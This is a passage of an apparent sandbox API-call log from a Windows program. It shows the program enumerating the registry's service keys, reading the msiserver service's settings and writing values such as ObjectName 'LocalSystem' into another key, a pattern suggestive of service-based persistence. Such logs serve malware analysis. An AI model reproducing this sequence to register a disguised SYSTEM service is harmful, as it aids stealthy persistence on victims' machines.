(in: hKey=0x140, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0166.297] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0166.297] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0166.297] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0166.297] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0166.297] RegEnumKeyW (in: hKey=0x140, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0166.297] RegEnumKeyW (in: hKey=0x140, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0166.297] RegEnumKeyW (in: hKey=0x140, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0166.298] RegEnumKeyW (in: hKey=0x140, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0166.298] RegEnumKeyW (in: hKey=0x140, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0166.298] RegEnumKeyW (in: hKey=0x140, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0166.298] RegEnumKeyW (in: hKey=0x140, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0166.298] RegEnumKeyW (in: hKey=0x140, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0166.298] RegEnumKeyW (in: hKey=0x140, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0166.298] RegEnumKeyW (in: hKey=0x140, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0166.298] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0166.298] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0166.298] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0166.298] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0166.298] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0166.298] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0166.298] RegEnumKeyW (in: hKey=0x140, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0166.298] RegEnumKeyW (in: hKey=0x140, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0166.298] RegEnumKeyW (in: hKey=0x140, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0166.298] RegEnumKeyW (in: hKey=0x140, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0166.298] RegEnumKeyW (in: hKey=0x140, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0166.299] RegEnumKeyW (in: hKey=0x140, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0166.299] RegEnumKeyW (in: hKey=0x140, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0166.299] RegEnumKeyW (in: hKey=0x140, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0166.299] RegEnumKeyW (in: hKey=0x140, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0166.299] RegEnumKeyW (in: hKey=0x140, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0166.299] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0166.299] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0166.299] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0166.299] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0166.299] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0166.299] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0166.299] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0166.299] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0166.299] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0166.299] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0166.299] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0166.299] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0166.300] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0166.300] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0166.300] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0166.300] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0166.300] RegEnumKeyW (in: hKey=0x140, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0166.300] RegEnumKeyW (in: hKey=0x140, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0166.300] RegEnumKeyW (in: hKey=0x140, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0166.300] RegEnumKeyW (in: hKey=0x140, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0166.300] RegEnumKeyW (in: hKey=0x140, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0166.300] RegEnumKeyW (in: hKey=0x140, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0166.300] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0166.300] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0166.300] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0166.300] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0166.300] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0166.300] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0166.301] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0166.301] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0166.301] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0166.301] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0166.301] RegEnumKeyW (in: hKey=0x140, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0166.301] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0166.301] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0166.301] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0166.301] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0166.301] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0166.301] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0166.301] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0166.301] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0166.301] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0166.301] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0166.301] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0166.301] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0166.301] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0166.302] RegOpenKeyExW (in: hKey=0x140, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x9c) returned 0x0 [0166.302] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0166.302] RegCloseKey (hKey=0x140) returned 0x0 [0166.302] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0166.302] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0166.302] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0166.302] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0166.302] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0166.302] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0166.302] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0166.302] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0166.302] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.302] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0166.302] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0166.302] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0166.302] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0166.303] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0166.303] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0166.303] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0166.303] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0166.303] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0166.303] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x140) returned 0x0 [0166.303] RegCloseKey (hKey=0x148) returned 0x0 [0166.303] RegEnumKeyW (in: hKey=0x140, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0166.303] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0166.303] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0166.303] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0166.303] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0166.303] RegOpenKeyExW (in: hKey=0x140, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0166.303] RegCloseKey (hKey=0x140) returned 0x0 [0166.303] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0166.303] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0166.304] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0166.304] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0166.304] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0166.304] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0166.304] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0166.304] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0166.304] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0166.305] RegEnumValueA (in: hKey=0x9c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.305] RegEnumValueA (in: hKey=0x9c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.305] RegEnumValueA (in: hKey=0x9c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.305] RegEnumValueA (in: hKey=0x9c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.305] RegEnumValueA (in: hKey=0x9c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.305] RegEnumValueA (in: hKey=0x9c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.305] RegEnumValueA (in: hKey=0x9c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.305] RegEnumValueA (in: hKey=0x9c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.305] RegEnumValueA (in: hKey=0x9c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.305] RegEnumValueA (in: hKey=0x9c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.305] RegEnumValueA (in: hKey=0x9c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.306] RegEnumValueA (in: hKey=0x9c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0166.306] RegSetValueExA (in: hKey=0x140, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x21529d8*, cbData=0x195 | out: lpData=0x21529d8*) returned 0x0 [0166.306] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21529d8) returned 1 [0166.306] RegSetValueExA (in: hKey=0x140, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0166.307] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0166.307] RegEnumValueA (in: hKey=0x9c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.307] RegEnumValueA (in: hKey=0x9c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.307] RegEnumValueA (in: hKey=0x9c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.307] RegEnumValueA (in: hKey=0x9c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.307] RegEnumValueA (in: hKey=0x9c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.307] RegEnumValueA (in: hKey=0x9c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.307] RegEnumValueA (in: hKey=0x9c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.307] RegEnumValueA (in: hKey=0x9c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.307] RegEnumValueA (in: hKey=0x9c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.307] RegEnumValueA (in: hKey=0x9c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.307] RegEnumValueA (in: hKey=0x9c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.307] RegEnumValueA (in: hKey=0x9c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0166.307] RegSetValueExA (in: hKey=0x140, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0166.307] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b20) returned 1 [0166.307] RegSetValueExA (in: hKey=0x140, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="localSystem", cbData=0xc | out: lpData="localSystem") returned 0x0 [0166.308] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b20) returned 1 [0166.308] RegEnumValueA (in: hKey=0x9c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.308] RegEnumValueA (in: hKey=0x9c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.308] RegEnumValueA (in: hKey=0x9c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.308] RegEnumValueA (in: hKey=0x9c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.308] RegEnumValueA (in: hKey=0x9c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.308] RegEnumValueA (in: hKey=0x9c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.308] RegEnumValueA (in: hKey=0x9c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.308] RegEnumValueA (in: hKey=0x9c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.308] RegEnumValueA (in: hKey=0x9c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.308] RegEnumValueA (in: hKey=0x9c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.308] RegEnumValueA (in: hKey=0x9c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.309] RegEnumValueA (in: hKey=0x9c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0166.309] 